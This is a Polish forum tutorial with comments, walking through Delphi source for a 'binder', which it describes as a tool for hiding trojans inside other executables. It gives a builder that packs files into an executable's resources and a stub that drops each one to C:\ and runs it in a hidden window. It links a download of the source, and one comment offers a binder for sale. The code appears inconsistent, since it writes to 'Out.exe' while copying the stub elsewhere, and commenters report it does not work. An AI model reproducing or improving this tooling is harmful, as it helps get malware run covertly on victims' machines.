Prosty binder

0wn3r25

Pierwsza rzecz, od której rozpocznę ten artykuł, to wyjaśnienie czym jest binder.

Binder (ang. segregator, lub od bind - ang. łączyć) - rodzaj programu komputerowego, służący do łączenia dwóch różnych plików. Najczęściej jest wykorzystywany do maskowania trojanów, poprzez łączenie ich z innymi dowolnie wybranymi plikami. Ofiara uruchamiając plik, uruchamia trojana i program maskujący, którym może być dowolny plik wykonywalny.

Źródło : www.wikipedia.pl

Teraz przejdźmy do rzeczy :

Co będzie nam potrzebne aby napisać ten binder?

Środowisko programistyczne (kompilator) Delphi 7 Personal Edition. (www.borland.pl)

Do napisania bindera, dla niewiedzących nie trzeba ściągać żadnych komponentów.


No to czas do dzieła!!! :

  1. Wrzucamy na formę komponent OpenDialog z zakładki Dialogs i dajemy mu nazwę OD.
  2. Wrzucamy na formę 2 buttony i nazywamy je : btn1, btn2 (caption : Binduj i Otwórz)
  3. Wrzucamy na formę listbox z zakładki Standard i dajemy mu nazwę lst

Wszystko razem powinno to tak wyglądać :

user image

Czas na kod!!! :

Pomiędzy formą i kodem możemy się przełączać naciskając przycisk F12.

--- Klikamy 2x na przycisk btn1 (Otwórz) i wklepujemy kod :

procedure TForm1.btn1Click(Sender: TObject);
begin
  if OD.Execute then
    lst.Items.Add(OD.FileName);
end;

--- Klikamy 2x na przycisk btn2 (Binduj) i wklepujemy kod :

procedure TForm1.btn2Click(Sender: TObject);
var
  I:Integer;
  H, Size, FH, BR:DWORD;
  Local:String;
  Buf:Pointer;
begin
  Local:= ExtractFilePath(ParamStr(0));
  CopyFile(PChar(Local+'Stub\Stub.exe'), PChar(Local+'zbindowany.exe'), False);
  H:= BeginUpdateResource(PChar(Local+'Out.exe'), True);
  for I:= 0 to Lst.Items.Count-1 do begin
    FH:= CreateFile(PChar(lst.Items[I]), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    Size:= GetFileSize(FH, nil);
    GetMem(Buf, Size);
    ReadFile(FH, Buf^, Size, BR, nil);
    CloseHandle(FH);
    UpdateResource(H, RT_RCDATA, PChar(UpperCase(ExtractFileName(lst.Items[I]))), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), Buf, Size);
    FreeMem(Buf);
  end;
  EndUpdateResource(H, False);
end;

--- Teraz klikamy na komponent lst i wchodzimy w zakładkę Events i szukamy OnDblClick, gdy już znaleźliśmy, klikamy 2x na puste polę obok OnDblClick i wklepujemy kod :

procedure TForm1.LstDblClick(Sender: TObject);
begin
  if lst.ItemIndex <> -1 then
    lst.Items.Delete(lst.ItemIndex);
end;

end.

No i to by było na tyle! Prawda że mało nam się wydaje? Ale to nie koniec.

Tworzymy aplikację konsolową i wklepujemy kod :

program Stub;

uses
  Windows, ShellApi;

function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
  Info, FH, BW:DWORD;
begin
  Result:= True;
  Info:= FindResource(0, lpName, lpType);
  FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
  CloseHandle(FH);
  ShellExecute(0, 'OPEN', PChar('C:\'+lpName), '', '', 0);
end;

begin
  EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
end.

Plik zapisujemy do dowolnego folderu i nazywamy go "Stub". Następnie kompilujemy.


Pamiętajcie! Za każdym razem jak chcecie zbindować jakiś plik, musicie do niego dołączyć plik Stub.exe.


Program można urozmaicać jak chcecie, można zmienić ikonę, dodać obrazek (Zakładka Additional i tam jest Image), zmieniać kod itd.

A do tego jest potrzebna wiedza, więc podaje kilka stron z których można się czegoś nauczyć o Delphi (Object Pascal'u) :

http://www.4programmers.net
http://www.binboy.sphere.pl/
http://www.ofkurs.kgb.pl/
http://www.haxite.org/
http://www.hackme.pl/news.html


Źródło (+ stub) :

  1. http://rapidshare.com/files/55761226/Prosty_Binder.rar.html

6 komentarzy

Sprzedam bindera, napisany w asemblerze (masm32). Więcej informacji na e-mailu.

[email protected]

przepraszam ale napisales na koncu "Tworzymy aplikację konsolową i wklepujemy kod". gdzie(jak) tworzymy tą aplikacje? gdzie wpisujemy ten kod?:) PS. to jest moj pierwszy kontakt z Delphi :)

Program nie tworzy pliku Out.exe :(( Czy moglbyś to naprawić, aby binder dzialal. Nie jeden użytkownik będzie wdzięczny :))

A może opiszesz jak to działa?
Bo ja widzę że u mnie tylko kopiuje stub.exe i tyle,
a żadnego Out.exe nie tworzy. Używam tego samego Delphi co ty.

A może tak byś opisał kod jakimiś komentarzami?

Jak ktos znow to bedzie edytować to ossadzcie ten obrazek a nie do niego link...